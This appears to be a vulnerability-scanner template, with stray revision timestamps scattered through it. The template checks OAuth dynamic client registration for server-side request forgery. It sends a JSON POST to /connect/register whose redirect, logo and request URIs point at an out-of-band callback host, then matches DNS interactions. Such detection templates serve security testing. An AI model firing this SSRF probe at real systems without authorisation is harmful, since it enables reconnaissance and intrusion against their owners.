2023-03-31 11:42:54 +00:00
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id: ssrf-via-oauth-misconfig
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2023-03-31 11:34:14 +00:00
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info:
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name: SSRF due to misconfiguration in OAuth
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author: KabirSuda
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severity: medium
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description: Sends a POST request with the endpoint "/connect/register" to check external Interaction with multiple POST parameters.
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reference:
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- https://portswigger.net/research/hidden-oauth-attack-vectors
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tags: misconfig,oast,oauth,ssrf
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2023-04-28 08:11:21 +00:00
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metadata:
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max-request: 1
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2023-03-31 11:34:14 +00:00
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2023-04-27 04:28:59 +00:00
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http:
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2023-03-31 11:34:14 +00:00
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- raw:
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- |
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POST /connect/register HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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Accept-Language: en-US,en;q=0.9
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{
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"application_type": "web",
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"redirect_uris": ["https://{{interactsh-url}}/callback"],
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"client_name": "{{Hostname}}",
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"logo_uri": "https://{{interactsh-url}}/favicon.ico",
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"subject_type": "pairwise",
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"token_endpoint_auth_method": "client_secret_basic",
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"request_uris": ["https://{{interactsh-url}}"]
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}
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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2023-03-31 11:42:54 +00:00
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- "dns"
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